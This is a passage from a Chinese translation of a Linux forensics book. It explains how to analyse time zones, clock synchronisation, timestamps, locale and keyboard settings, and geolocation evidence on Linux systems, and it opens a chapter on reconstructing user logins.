当你在进行取证分析工作时,训练自己注意那些可能是时间戳的数字字符串。例如,如果你看到一个以 16 开头的 10 位数字(16XXXXXXXX),它可能是一个时间戳(2020 年 9 月到 2023 年 11 月)。

显示人类可读时间的格式是可定制的。该格式可以是长格式、短格式、数字格式,或这三者的组合。地区差异也可能导致混淆。例如,1/2/2020 可能是 2 月 1 日或 1 月 2 日,具体取决于地区。即使分隔符也因地区或风格而异(“.” 或 “/” 或 “-”)。

1988 年,ISO 制定了一个全球标准的日期格式,定义了年份、月份和日期的顺序:2020-01-02。如果你的取证工具支持这一格式(它可能支持),我建议使用这种格式。图 9-1 中的 XKCD 漫画可能帮助你记住这一点。

Image

图 9-1: XKCD 时间格式 ( xkcd.com/1179/)

有两个标准对于理解时间格式很有用:ISO 8601 (www.iso.org/iso-8601-date-and-time-format.html) 和 RFC 3339 (datatracker.ietf.org/doc/html/rfc3339/)。在进行数字取证时,尤其是日志文件分析时,请确保你理解所使用的时间格式。

时区

地球被划分为 24 个主要时区,相差一小时。^(1) 时区表示一个地理区域及其与协调世界时(UTC)的时间偏差。时区可以应用于系统或用户,如果用户远程登录,这些时区不一定相同。

当系统首次安装时,系统所有者会指定一个时区。此设置是 /etc/localtime 的符号链接(symlink),指向位于 /usr/share/zoneinfo/tzdata 文件。确定系统配置的时区,只需识别该文件的链接位置。在以下示例中,系统配置为欧洲地区和苏黎世市:

$ ls -l /etc/localtime
lrwxrwxrwx 1 root root 33 Jun 1 08:50 /etc/localtime -> /usr/share/zoneinfo/Europe/Zurich

此配置提供了机器物理位置的指示(或者至少是地区)。系统时区与用户登录时的时区之间的差异是值得注意的,因为它表明系统所有者的潜在位置(使用远程安装/管理的系统)。

对于像桌面 PC 和服务器这样的固定位置系统,配置的时区通常是静态的。经常更改时区的笔记本电脑表明用户可能正在旅行。时区的变化(无论是手动还是自动)可以在日志中看到:

Dec 23 03:44:54 pc1 systemd-timedated[3126]: Changed time zone to 'America/Winnipeg' (CDT).
...
Dec 23 10:49:31 pc1 systemd-timedated[3371]: Changed time zone to 'Europe/Zurich' (CEST).

这些日志展示了使用 GNOME 日期和时间图形界面更改时区的示例。请求 systemd-timedated 守护进程更改时区并更新 /etc/localtime 的符号链接。如果设置为自动更改,系统将查询 GeoClue 以获取位置。GeoClue 是 Linux 的地理位置服务(稍后在本章中将描述)。

个别用户也可以指定与系统时区不同的登录时区——例如在多个全球用户通过安全外壳(SSH)远程登录的服务器上。要识别个别用户的时区,可以查找TZ环境变量的赋值。TZ变量可能出现在 shell 启动文件中(如.bash_login.profile等),或者作为由 SSH 程序传递的变量。要确定 SSH 是否传递了TZ变量,请检查 SSH 服务器配置(sshd_config)是否显式允许TZ,通过AcceptEnv参数,或者检查客户端配置(ssh_config./ssh/config)是否显式传递了TZ,通过SendEnv参数。

TZ 变量是一个 POSIX 标准,并通过 GNU C 库在 Linux 中实现。TZ 变量有三种格式,以下是一些示例:

时区和偏移 CET+1

带夏令时的时区和偏移 EST+5EDT

时区文件名 Europe/London

你可以在www.gnu.org/software/libc/manual/html_node/TZ-Variable.html找到关于 TZ 变量的更详细描述。

在 Fedora 和 SUSE 系统中,一些软件包和脚本可能会读取/etc/sysconfig/clock文件(如果该文件存在)。该文件描述了硬件时钟(如果是 UTC,时区等)。

在使用取证工具分析时间戳时,工具可能要求指定时区。例如,在使用 The Sleuth Kit 时,带有时区信息的命令可以使用-z标志来指定时区。

夏令时与闰时间

夏令时是将时钟在春季提前一小时,在秋季延后一个小时(“春天提前,秋天延后”)的做法,目的是在冬季提供更早的日光,并在夏季提供更晚的日光。这一做法由各地区政府决定,并不是全球标准。一些地区(例如 2014 年的俄罗斯和 2021 年的欧洲)已经废除或正在废除夏令时的调整。

在对受影响地区的系统进行取证分析时,了解夏令时的变化是很重要的。增加或减少的小时数会影响取证时间线的重建和过去事件的解释。取证工具通常支持夏令时调整,如果指定了地理区域。UTC 时间不会因为夏令时而改变。

上一节中描述的tzdata文件包含了夏令时信息。要提取某一时区的时间间隔列表(包括历史和未来的),可以在 Linux 机器上使用zdump工具,如下所示:

$ zdump -v Europe/Paris |less 
...
Europe/Paris Sun Mar 31 00:59:59 2019 UT = Sun Mar 31 01:59:59 2019 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 31 01:00:00 2019 UT = Sun Mar 31 03:00:00 2019 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 27 00:59:59 2019 UT = Sun Oct 27 02:59:59 2019 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 27 01:00:00 2019 UT = Sun Oct 27 02:00:00 2019 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 29 00:59:59 2020 UT = Sun Mar 29 01:59:59 2020 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 29 01:00:00 2020 UT = Sun Mar 29 03:00:00 2020 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 25 00:59:59 2020 UT = Sun Oct 25 02:59:59 2020 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 25 01:00:00 2020 UT = Sun Oct 25 02:00:00 2020 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 28 00:59:59 2021 UT = Sun Mar 28 01:59:59 2021 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 28 01:00:00 2021 UT = Sun Mar 28 03:00:00 2021 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 31 00:59:59 2021 UT = Sun Oct 31 02:59:59 2021 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 31 01:00:00 2021 UT = Sun Oct 31 02:00:00 2021 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 27 00:59:59 2022 UT = Sun Mar 27 01:59:59 2022 CET isdst=0 gmtoff=3600
Europe/Paris Sun Mar 27 01:00:00 2022 UT = Sun Mar 27 03:00:00 2022 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 30 00:59:59 2022 UT = Sun Oct 30 02:59:59 2022 CEST isdst=1 gmtoff=7200
Europe/Paris Sun Oct 30 01:00:00 2022 UT = Sun Oct 30 02:00:00 2022 CET isdst=0 gmtoff=3600
...

这里显示了过渡时间、时区缩写(CET 或 CEST)、当前夏令时标志(isdst=)和与 UTC 的偏移量(以秒为单位的gmtoff=)。

有趣的是,那些放弃夏令时的地区,tzdata 文件中的最后一项是该地区最后一次变更的日期和时间。

有关 tzdata 文件的更多信息,请参见 tzfile(5) 手册页。时区数据的权威来源是互联网号码分配局 (IANA),tz 数据库文件可以在 IANA 网站上找到 (www.iana.org/time-zones/).

闰年和闰秒也是 Linux 时间管理中的一个因素,并且在法医分析中也是一个挑战。闰年是每四年增加一天,即 2 月 29 日(每个世纪会有一次闰年规则的例外)。闰秒更难预测,通常是由于地球自转速度减慢引起的。国际地球自转服务 (IERS) 决定何时添加闰秒,并提前半年发布该决定(通常计划在年底或年中)。自 Unix 纪元以来的闰秒列表(截至目前已有 28 次)可以在 IERS 网站上找到 (hpiers.obspm.fr/iers/bul/bulc/ntp/leap-seconds.list). 使用外部时间同步的 Linux 系统会自动添加闰秒。闰年是可以预测的,Linux 系统设计为每四年自动增加 2 月 29 日。

在进行法医分析时,了解闰年和闰秒非常重要。额外的那一天和那一秒可能会影响过去事件的重建和法医时间线的创建。

时间同步

从数字取证的角度来看,了解配置的时间同步非常重要,原因有几个。它有助于确定系统何时同步或不同步,从而提供更准确的系统时间线分析。当时钟因恶意原因被故意更改或篡改时,它也有助于调查。

为了在正常系统操作期间保持正确的时间,会使用外部时间源。外部时间源的例子包括:

网络时间协议 (NTP) 基于网络的时间同步协议 (RFC 5905)

DCF77 德国长波广播时间信号,来自法兰克福附近(在欧洲广泛使用)

全球定位系统 (GPS) 从卫星网络接收的时间

大多数 Linux 系统在启动时会检查并设置日期,在网络正常工作的情况下使用 NTP。

在 Linux 系统中最常用的 NTP 软件包有:

ntp 原始的 NTP 参考实现 (ntp.org/)

openntpd 由 OpenBSD 社区设计,注重简洁性和安全性

chrony 旨在在各种条件下表现良好

systemd-timesyncd 内置于 systemd 的时间同步

要确定使用了哪种 ntp 机制,请检查已安装的软件包,如 ntp、openntpd 或 chrony(systemd-timesync 是作为 systemd 的一部分安装的)。然后,检查通过查看/etc/systemd/system/.wants/目录中的符号链接,来查看哪个服务单元文件已启用。常见的单元文件包括ntp.servicentpd.servicechrony.serviceopenntpd.service*。

Systemd 的 timesyncd 会创建符号链接,如/etc/systemd/system/dbus-org.freedesktop.timesync1.service/etc/systemd/system/sysinit.target.wants/systemd-timesyncd.service。在实时系统中,timedatectl命令用于查询和管理这些文件。

单元文件的内容提供了关于配置的信息。通常,时间守护进程会有一个单独的配置文件位于/etc/(例如ntp.confntpd.conf),该文件定义了守护进程的行为并指定了使用的时间服务器。systemd-timesyncd 的配置文件位于/etc/systemd/timesyncd.conf

与时间守护进程相关的日志提供了有关启动、关闭、时间同步变化和错误的信息。这些日志可以在 systemd 日志、syslog 日志以及*/var/log/**中的独立日志文件中找到。

以下示例展示了来自 openntpd、chrony 和 systemd-timesyncd 的日志条目,其中时间被更改:

Aug 01 08:13:14 pc1 ntpd[114535]: adjusting local clock by -57.442957s
...
Aug 01 08:27:27 pc1 chronyd[114841]: System clock wrong by -140.497787 seconds,
adjustment started
...
Aug 01 08:41:00 pc1 chronyd[114841]: Backward time jump detected!
...
Aug 01 09:58:39 pc1 systemd-timesyncd[121741]: Initial synchronization to
time server 162.23.41.10:123 (ntp.metas.ch).

系统通常会配置一个服务器列表用于时间同步。在某些情况下,系统可能会有一个本地附加的时间源(如 DCF77、GPS 等),并且在配置文件中可能会以 127.x.x.x IP 地址的形式出现作为服务器。你可以在软件包的手册页或开发者网站上找到有关时间守护进程和配置文件的更多信息。

如果连接了 GPS 设备,请查找 gpsd (gpsd.io/)软件包及其相关配置(/etc/gpsd/**或/etc/default/gpsd*)。

时钟同步是典型的,但并非必须,某些情况下可能不会找到 NTP 配置。例如:

  • 信任主机时钟的虚拟机(例如,具有准虚拟化硬件时钟的虚拟机)

  • 用户手动设置时钟的机器

  • 在启动时(或定期)运行ntpdate命令来设置时钟的机器

在这种情况下,虚拟机的主机同步或主板上硬件时钟的时间变得非常重要。

大多数 PC 主板有一个小电池,可以在系统关闭时保持时钟运行。Linux 内核的实时时钟(RTC)驱动程序使时钟通过/dev/rtc设备(通常是指向/dev/rtc0的符号链接)可访问。时间同步软件会相应地保持硬件时钟的更新。

系统的硬件时钟可以设置为本地时间或 UTC 时间(推荐使用 UTC)。有关更多信息,请参阅 hwclock(8)手册页。

树莓派时钟

树莓派没有时钟电池,启动时时间戳从零开始(1970 年 1 月 1 日 00:00:00)。在树莓派的时间与标准时间同步之前生成的任何日志都会有不正确的时间戳。在分析带有时间戳的内容时,了解系统时间同步何时建立了正确的时间非常重要。

树莓派和其他嵌入式系统可能会在关机时保存时间戳,以便在早期启动时设置一个更合理的时间(直到时间同步)。这是通过使用fake-hwclock软件包来实现的。时间存储在一个文件中,如以下示例所示:

# cat /etc/fake-hwclock.data
2020-03-24 07:17:01

存储在fake-hwclock.data文件中的时间可能是 UTC 格式,并与相应的文件系统时间戳(最后修改和更改)匹配。定期的 cron 作业可能会更新写入文件的时间,以防出现意外崩溃或电源丢失。有关更多信息,请参见 fake-hwclock(8) 手册页。

时间戳与取证时间线

时间戳指的是一个特定的时间点,通常与某个操作或活动相关,并且该操作或活动有数字证据。使用时间戳进行取证有助于重建过去事件的顺序。然而,使用和信任从数字数据源提取的时间戳存在挑战。一些影响时间戳准确性的风险包括:

  • 无时间同步的机器上的时钟漂移或偏移

  • 非实时操作系统的延迟和时延

  • 未知时区的时间戳

  • 反取证或恶意修改时间戳(例如使用timestomp

涉及多个时区、多个设备的全球性调查在时间戳受到这些风险影响时变得更加复杂。

大多数取证工具都意识到这些问题,并包括调整时间的功能。例如,Sleuth Kit 具有帮助调整时间的标志:

-s 秒     调整 +/- 秒

-z 区域     指定一个时区(例如 CET)

永远不要完全信任时间戳。错误、故障或反取证活动是始终可能发生的,因此尽量与其他设备上的时间戳或其他证据来源进行核对。

取证时间线是基于与调查相关的时间戳重建事件的过程。最早的数字取证时间线是从文件系统元数据的时间戳(最后访问、修改、改变等)创建的。如今,调查人员将来自多个来源的时间戳数据汇集到一个单一的超级时间线中,可能包含任何相关的时间戳,例如:

  • 文件系统时间戳(MACB)

  • 日志(系统日志、systemd 日志和应用程序日志)

  • 浏览器历史记录、Cookies、缓存和书签

  • 包含时间戳的配置数据

  • 回收/垃圾数据

  • 电子邮件及附件(mbox、maildir)

  • 办公文档元数据(PDF、LibreOffice 等)

  • EXIF 数据(来自照片或视频的元数据)

  • 易失性输出文件(内存取证)

  • 捕获的网络流量(PCAP 文件)

  • CCTV 摄像头和建筑物门禁系统(刷卡读卡器)

  • 电话、聊天和其他通信记录

  • 备份档案(tar .snar 文件和备份索引)

  • 其他时间戳来源(手机、物联网设备或云端)

一个流行的超时间轴框架是 log2timeline/plaso,它使用自由和开源工具从各种来源组装时间戳。你可以访问该项目网站 (github.com/log2timeline/plaso/) 获取更多信息。

每个 Linux 镜像的取证时间线包含几个重要的时间节点:

  • Unix 纪元

  • 安装前存在的文件(发行版提供的文件)

  • 原始系统安装时间

  • 正常操作期间观察到的最后时间戳

  • 取证采集时间

取证采集后不应出现任何时间戳。如果有时间戳,它们可能表明驱动器镜像被篡改或修改。采集后的日期也可能是通过反取证活动故意创建(伪造)的。

构建和解释时间线会面临一些挑战。在大型技术数据集中,可用的时间戳数量可能会难以处理(尤其是手动处理时)。许多时间戳描述的是琐碎或不相关的事件。有时,多个时间戳的集合描述的是单一的整体事件。

另一个挑战是确定某个事件是由用户还是机器引起的。特别是对于文件系统取证而言,需要注意的是,我们回溯时间线时,往往会发现信息越来越少。随着时间的推移,扇区被覆盖,文件系统时间戳被更新,其他信息在正常系统操作过程中丢失。

国际化

Linux 系统的国际化包括配置区域设置、语言、键盘和其他地区特定信息。涉及人员识别(也称为归属)的全球性调查可以大大受益于了解 Linux 系统上的本地区域工件。

Linux 国际化指的是对多语言和文化设置的支持。国际化一词有时会缩写为 i18n,因为在 in 之间有 18 个字符。

在基于 Fedora 和 SUSE 的系统中,一些包和脚本可能会读取 /etc/sysconfig/ 目录下的 i18n、键盘、控制台和语言文件(如果存在)。基于 Debian 的系统在 /etc/default/ 目录中有类似的键盘、硬件时钟、控制台设置和语言区域文件。

这些文件可以在取证调查中进行检查,但它们已经部分被这里描述的 systemd 等效物所取代。

区域设置和语言设置

Linux 的大部分国际化配置通过定义语言环境设置来完成。语言环境是 glibc 的一部分,可以被任何支持语言环境的软件使用来控制语言、格式和其他区域设置。这些设置定义在/etc/locale.conf文件中,该文件可能不存在(如果系统使用其他默认设置),可能只包含一行(例如,语言设置),或者包含详细的语言环境配置:

$ cat /etc/locale.conf
LANG="en_CA.UTF-8"

在这里,语言设置为加拿大英语(Unicode)。语言环境定义文件描述了日期格式、货币和其他本地信息。可用语言环境的定义可以在/usr/share/i18n/locales中找到,并存储为可读的文本文件。

在某些系统上,locale-gen 程序会生成/etc/locale.gen中指定的所有语言环境,并将其安装在/usr/lib/locale/locale-archive中,供系统上的任何用户使用。localedef工具可以列出文件中的语言环境:

$ localedef --list-archive -i /usr/lib/locale/locale-archive
de_CH.utf8
en_CA.utf8
en_GB.utf8
en_US.utf8
fr_CH.utf8

输出应与/etc/locale.gen文件中的配置相对应。该文件可以复制到单独的检查机器上进行离线分析(使用-i标志)。

从用户的角度看,语言环境是定义其本地或区域偏好的变量集合。在运行中的系统上,locale命令列出了这些变量:

$ locale
LANG=en_US.UTF-8
LC_CTYPE="en_US.UTF-8"
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=

这些变量决定了语言、数字格式(例如,使用逗号代替句点)、时间(24 小时制与 AM/PM 制)、货币、纸张大小、姓名和地址格式、测量单位等。有些变量由 POSIX 定义,其他则由 Linux 社区添加。在事后法医检查中,我们可以通过配置文件重建这些偏好设置。

有关这些变量的更多信息,请参阅 locale(5)手册页(有三个 locale 手册页,分别位于不同的章节:locale(1)、locale(5)和 locale(7),因此请确保查阅正确的版本)。

用户还可以创建一个混合语言环境,该语言环境由多个已安装的语言环境的变量组成(例如,北美英语语言与欧洲时间设置的结合)。

如果用户没有在(shell 启动脚本中)定义任何变量,则使用系统范围的默认语言环境,该默认语言环境定义在/etc/locale.conf文件中。Systemd 使用localectl工具来管理本地化,并在系统启动时读取locale.conf。系统管理员和用户明确设置的任何本地化设置都是有价值的,可能对调查有所帮助。例如,一些设置的混合可能表明某个人讲某种语言,但居住在另一个国家。

大多数国际化软件项目都包括对多种语言的支持,用于互动消息、错误消息、帮助页面、文档以及传达给用户的其他信息。当软件包提供单独的语言文件时,这些文件存储在/usr/share/locale/目录下,并根据配置的语言动态选择。LANG=变量指定要使用的语言,可以是系统默认语言,也可以为每个用户单独配置。

图形环境可能有额外的或单独的语言信息和配置设置(例如,KDE 的KDE_LANG变量或 GNOME 的 dconf 数据库中的设置)。XDG .desktop 文件通常会在文件中定义语言翻译字符串。有些应用程序需要单独安装语言包(例如,字典、办公程序和手册页)。

物理键盘布局

物理系统连接的键盘很有趣,因为它可以告诉我们使用者的一些信息。键盘的国家和语言暗示了用户的文化背景(不过,许多非英语的 Linux 程序员和爱好者选择使用美国英语键盘)。键盘的设计也可能提供关于用户如何使用机器的信息。有游戏键盘、程序员/系统管理员键盘、人体工学键盘、触摸屏键盘、收藏键盘和其他异国情调的键盘设计。这些物理键盘特征在法医学检查中可能是有用的背景信息。

分析键盘的第一步是识别物理连接的设备。USB 键盘的制造商和产品信息可以在内核日志中找到:

Aug 01 23:30:02 pc1 kernel: usb 1-6.3: New USB device found, idVendor=0853,
idProduct=0134, bcdDevice= 0.01
Aug 01 23:30:02 pc1 kernel: usb 1-6.3: New USB device strings: Mfr=1,
Product=2, SerialNumber=0
Aug 01 23:30:02 pc1 kernel: usb 1-6.3: Product: Mini Keyboard
Aug 01 23:30:02 pc1 kernel: usb 1-6.3: Manufacturer: LEOPOLD

这里,idVendor0853,表示 Topre(参见 www.linux-usb.org/usb-ids.html),ManufacturerLEOPOLD,产品(0134)被描述为迷你键盘

虚拟机没有物理键盘(除非将物理 USB 键盘直接传递到虚拟机),虚拟键盘可能会显示为 PS/2 设备:

[    0.931940] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU]
at 0x60,0x64 irq
[    0.934092] serio: i8042 KBD port at 0x60,0x64 irq 1
[    0.934597] input: AT Translated Set 2 keyboard as
/devices/platform/i8042/serio0/input/input0

键盘的电子/数字硬件接口是通用的,与语言无关。Linux 系统必须手动配置,以映射物理按键帽上显示的特定语言布局和符号。这个配置可以为控制台环境和图形环境分别进行。

物理键盘生成的低级扫描码会被内核转换为键码。这些键码在用户空间(无论是控制台环境还是图形环境)中被映射为键符(keysyms),即人类语言中的字符(字形)。可用的字符集存储在/usr/share/i18n/charmaps/目录下,格式为压缩文本文件。系统范围的字符集可以定义为默认字符集,用户也可以在登录时选择自己的字符集。

Linux 系统将早期的 Unix 串行端口替换为虚拟控制台,在这些控制台上连接键盘、鼠标和显示器。这些控制台是没有启动图形环境时可用的文本接口,通常在启动时或在服务器系统上看到。控制台键盘(和字体)可以在/etc/vconsole.conf中通过KEYMAP=选项进行配置。

如果使用图形环境,键盘配置描述了模型、语言和其他选项。KDE 将此信息存储在用户主目录下的.config/kxkbrc文件中。例如:

[Layout]
DisplayNames=,
LayoutList=us,ch
LayoutLoopCount=-1
Model=hhk
Options=caps:ctrl_modifier
...

在这里,使用的是 Happy Hacking Keyboard(hhk),可用的语言布局是usch(瑞士),并且其他选项已被指定(CAPS LOCK 被重新映射为 CTRL 键)。

GNOME 将键盘信息存储在 dconf 数据库中的org.gnome.libgnomekbgd键下。有关如何分析 dconf 数据库,请参见第十章。

如果使用了 systemd 或localectl命令(无论是手动还是在脚本中)来设置配置,键盘配置将保存在/etc/X11/xorg.conf.d/00-keyboard.conf文件中:

$ cat /etc/X11/xorg.conf.d/00-keyboard.conf
# Written by systemd-localed(8), read by systemd-localed and Xorg. It's
# probably wise not to edit this file manually. Use localectl(1) to
# instruct systemd-localed to update it.
Section "InputClass"
        Identifier "system-keyboard"
        MatchIsKeyboard "on"
        Option "XkbLayout" "ch"
        Option "XkbModel" "hhk"
        Option "XkbVariant" "ctrl:nocaps,altwin:swap_lalt_lwin"
EndSection

在这里,另一款 Happy Hacking Keyboard(hhk)配置为瑞士(ch)布局。

其他窗口管理器和图形环境也可能使用 dconf 或拥有自己的配置文件。基于 Debian 的系统可能将这些信息作为变量存储在/etc/default/keyboard文件中,格式如下:

$ cat /etc/default/keyboard
# KEYBOARD CONFIGURATION FILE

# Consult the keyboard(5) manual page.

XKBMODEL="pc105"
XKBLAYOUT="us"
XKBVARIANT=""
XKBOPTIONS="ctrl:nocaps"

XKB 指的是来自 X11 规范的X 键盘扩展。有关键盘模型、布局和选项的列表,请参见 xkeyboard-config(7)手册页。一些 Wayland 合成器也将使用这些XKB*变量来配置键盘(例如,Sway WM)。

Linux 与地理位置

在法医调查中,回答地理上的“哪里?”问题需要重建 Linux 设备随时间变化的物理位置。如果一台设备被盗或丢失后被找回,那么在这段时间内它的位置在哪里?如果设备被扣押或隔离以供调查,那么与事件相关的设备位置历史是什么?我们可以通过地理位置分析来尝试回答这些问题。

手持移动设备因其位置感知功能而广为人知,主要得益于硬件中实现的 GPS。Linux 系统通常安装在没有内建 GPS 的通用 PC 上。然而,仍然可以找到指示地理位置的法医证据。在某些情况下,地理位置数据也可能通过其他来源(外部于所检查的法医镜像)推导或推测得出。

对于位置的引用可能有几种不同的上下文,包括:

全球上下文 纬度和经度(GPS 坐标)

区域上下文 文化或政治区域(区域设置,键盘)

组织上下文 校园、建筑、办公室或桌面(IT 资产)

这些位置参考信息可能是通过对系统或系统所在基础设施的法医分析确定或推断出来的。

地理位置历史

位置历史是物体在一段时间内改变空间位置的记录。为了重建位置历史,我们需要物理位置数据以及时间戳。知道一个物理位置发生变化的时间帮助我们建立位置时间轴。这里描述的许多思想不仅限于 Linux 系统,也可能适用于其他操作系统。

键盘、语言和其他区域设置提供了一个广泛的地区位置指示。例如,知道默认的纸张大小是美国信纸或 A4,可以判断系统是否来自北美地区。如果一个系统有瑞士键盘和德国语言,这意味着它来自瑞士的德语区。如果纸张大小或键盘在某个(已知的)时间发生了变化,这可能表明地区发生了变化。

时间和时区的变化可能是旅行的潜在指标。如果一个系统突然改变了它的时区设置(如之前日志中所示),这表明位置发生了变化。改变的时区数量也可能很有意思,因为它可能暗示了某种旅行方式(飞机与汽车)。

对时区切换前后的时间戳进行分析也可能很有意思。时区变化前,时间戳活动是否有显著间隔?还是时间戳显示该人在时区变化期间一直在工作?

在某种程度上,IP 地址可以提供大致的地理位置。这种确定位置的方法有时称为 IP 地理定位Geo-IP 查找。IP 范围分配给区域互联网注册机构(RIRs),它们将这些范围委托给指定区域使用。五个 RIR(及其成立日期)是:

  • RIPE NCC, RIPE 网络协调中心(1992)

  • APNIC,亚太网络信息中心(1993)

  • ARIN,美国互联网号码注册局(1997)

  • LACNIC,拉丁美洲和加勒比互联网地址注册局(1999)

  • AfriNIC,非洲网络信息中心(2004)

国家互联网注册局(NIRs)和本地互联网注册局(LIRs)可能会进一步将 IP 范围分配给地理区域。像 MaxMind 这样的公司(* www.maxmind.com/ *)可能会从互联网注册局、互联网服务提供商(ISPs)和其他分析来源收集数据,制作 IP 查找数据库,并将其作为产品和服务出售。

注意

使用隧道、转发、匿名化、移动网络、国际非公开网络或私人 IP 范围(RFC 1918)的设备的 IP 地理定位可能无法提供准确的结果。

每当法医检查发现与时间戳关联的 IP 地址时,它就是位置历史时间线上的一个点。来自组织内部网络的 IP 地址可能提供更准确的位置信息(如网络配置文档、IT 库存数据库等)。

在链路层中,日志中发现的周围 MAC 地址可能是位置的指示器。网络段上本地路由器或其他固定位置设备的 MAC 地址可能有助于确定位置。例如,企业 IT 环境可能拥有基础设施 MAC 地址的清单,这些地址分配给物理建筑或办公室。存储在本地机器上的 Wi-Fi 基础设施(BSSID)日志或缓存也可能是地理位置的指示器。

在某些情况下,机器的 MAC 地址或其他唯一标识符可能会在无线基础设施提供商处被记录(例如,WWAN 移动设备连接到基站塔或 WLAN 无线接口连接到公共 Wi-Fi 热点)。

与固定蓝牙设备的连接可能表明一个物理位置(例如,证据显示笔记本电脑使用蓝牙与桌面电脑、家庭音响、键盘或打印机在已知地点连接)。与其他具有地理定位信息的移动设备的蓝牙连接可能有助于重建位置历史(例如,笔记本电脑连接到存储了 GPS 位置信息的手机或汽车)。

应用数据可能提供漫游 Linux 系统的过去位置。例如,许多提供商会在有人访问他们的网站时,存储包含地理定位信息的 cookies。此外,任何连接到远程服务的操作可能会在服务器日志中保留位置信息(假设这些日志可以可靠地与正在检查的机器关联)。在某些情况下,这些信息可以通过正式请求获取(例如传票或其他合法请求)。

地理定位信息常常出现在文件的元数据中(例如照片)。然而,这不一定表示 PC 的实际位置,而是指最初拍摄照片的设备的位置。

如果一台 Linux 系统配备了 GPS 设备,它很可能正在使用 gpsd 软件包。任何使用 gpsd 的程序或应用可能会有日志或缓存的位置信息。

台式电脑通常位于固定的物理位置。如果被扣押,位置是明确已知的(显然)。在法医报告中,其他信息可能也很重要,比如建筑物地址、房间号或开放式办公室中特定的桌子。在企业环境中,机器的物理位置可能会随着时间变化,位置历史可以通过 IT 库存中的变化来重建(如果存在并且追踪系统位置的变化)。

在某种程度上,我们还可以进入物理世界来确定某个电子设备的位置。例如,有些人收集贴纸并将它们贴在笔记本电脑的盖子上。人们这样做的原因有很多:便于识别自己的笔记本,防止盗窃,或宣传喜欢的产品、项目、会议或其他事物。笔记本电脑盖子上的贴纸创造了一个独特的视觉标识符,可以与 CCTV 摄像头录像或包含该笔记本的照片的地理位置标签相匹配。它们也可能与特定的会议和活动匹配,这些会议和活动上曾分发过这些贴纸。

GeoClue 地理定位服务

GeoClue 软件项目的初衷是通过 D-Bus 为位置感知应用程序提供位置信息。正如其官方网站上所记录的(gitlab.freedesktop.org/geoclue/geoclue/),它从以下途径获取位置信息:

  • 基于 Wi-Fi 的地理定位,使用 Mozilla Location Service(精度为码/米)

  • GPS(A) 接收器(精度为英寸/厘米)

  • 本地网络上其他设备的 GPS,例如智能手机(精度为英寸/厘米)

  • 3G 调制解调器(精度为英里/公里,除非调制解调器具备 GPS 功能)

  • GeoIP(城市级别精度)

GeoClue 最初是为 GNOME 应用程序编写的,但它是一个 D-Bus 服务,任何在 GeoClue 配置文件中授权的应用程序都可以使用它。

GeoClue 的配置文件定义了使用哪些位置源,以及哪些本地应用程序被允许请求位置信息:

$ cat /etc/geoclue/geoclue.conf
# Configuration file for Geoclue
...
# Modem GPS source configuration options
[modem-gps]

# Enable Modem-GPS source
enable=true

# WiFi source configuration options
[wifi]

# Enable WiFi source
enable=true
...
[org.gnome.Shell]
allowed=true
system=true
users=
...
[firefox]
allowed=true
system=false
users=

守护进程本身不会记录位置信息;然而,使用它的应用程序可能会记录或存储这些信息。

使用位置服务的偏好存储在用户的 dconf 数据库中(org.gnome.system.location.enabled)。这个偏好设置与 geoclue 服务是否正在运行无关。如果用户在图形界面设置中禁用了位置服务,geoclue 服务不会被全局禁用。要确定 GeoClue 是否已启用,需要检查 systemd 的 geoclue.service 文件是否存在。

摘要

本章描述了如何分析 Linux 系统中的时间相关元素。它探讨了 Linux 的国际化功能及其在取证调查中的应用。它还考虑了在 Linux 取证分析中的地理定位问题。本章已涉及用户活动和行为,下一章将更深入地探讨这个话题。

第十章:重建用户桌面和登录活动

Image

重建用户登录活动通常是必要的,以了解某人何时登录系统,如何登录,他们在做什么,以及何时最终注销。本章解释了 shell 和桌面用户登录的各个方面,并描述了从数字取证角度来看有趣的各种证据。

我们主要关注人类与计算机的交互。其他系统“用户”正在运行守护进程或启动程序,但它们是正常系统操作的一部分,并且在本书的其他部分有所涉及。人类使用外设,如打印机、外部硬盘等,也会在第十一章中单独讨论。

Linux 登录和会话分析

在早期的 Unix 系统中,用户通过物理终端或由 PC 仿真出的终端登录,二者都通过 RS232 串行线连接。远程连接可以通过拨号或本地电话公司租用的模拟调制解调器来实现。随着 TCP/IP 的流行,用户通过 telnet 或 rlogin 在网络上登录。用户输入登录名和密码,如果正确,系统会运行脚本来设置环境并提供命令行提示符。当用户完成操作时,他们会注销,终端会被重置,以准备下次登录。

现在,人们通过本地控制台或通过网络安全地登录。登录 Linux 系统的最常见方式有:

  • 通过本地 显示管理器 的图形登录(通常用于工作站和笔记本电脑)

  • 在本地虚拟控制台上的 shell 登录(通常是物理服务器访问)

  • 使用安全外壳(SSH)远程登录(通常是远程服务器访问)

  • 通过本地串行线的 shell 登录(通常用于嵌入式系统或基于 Linux 的物联网设备)

图 10-1 显示了这些用户登录方式的简化概览。

Image

图 10-1:系统初始化和用户登录过程

上述列出的前三种登录方式主要用于人工交互。最后一种登录方式主要用作配置、固件更新或诊断程序的接口,它可能直接使用电路板上的内部引脚。串行线登录在嵌入式设备和物联网设备的取证分析中非常有用,因为这些设备的存储不能像普通计算机那样被移除和镜像。

像 VNC 这样的远程桌面连接在此没有列出,因为它们通常连接到已经登录的桌面或远程访问显示管理器。在这种情况下,远程桌面可以像本地图形登录一样进行分析。远程桌面访问将在本章末尾解释。

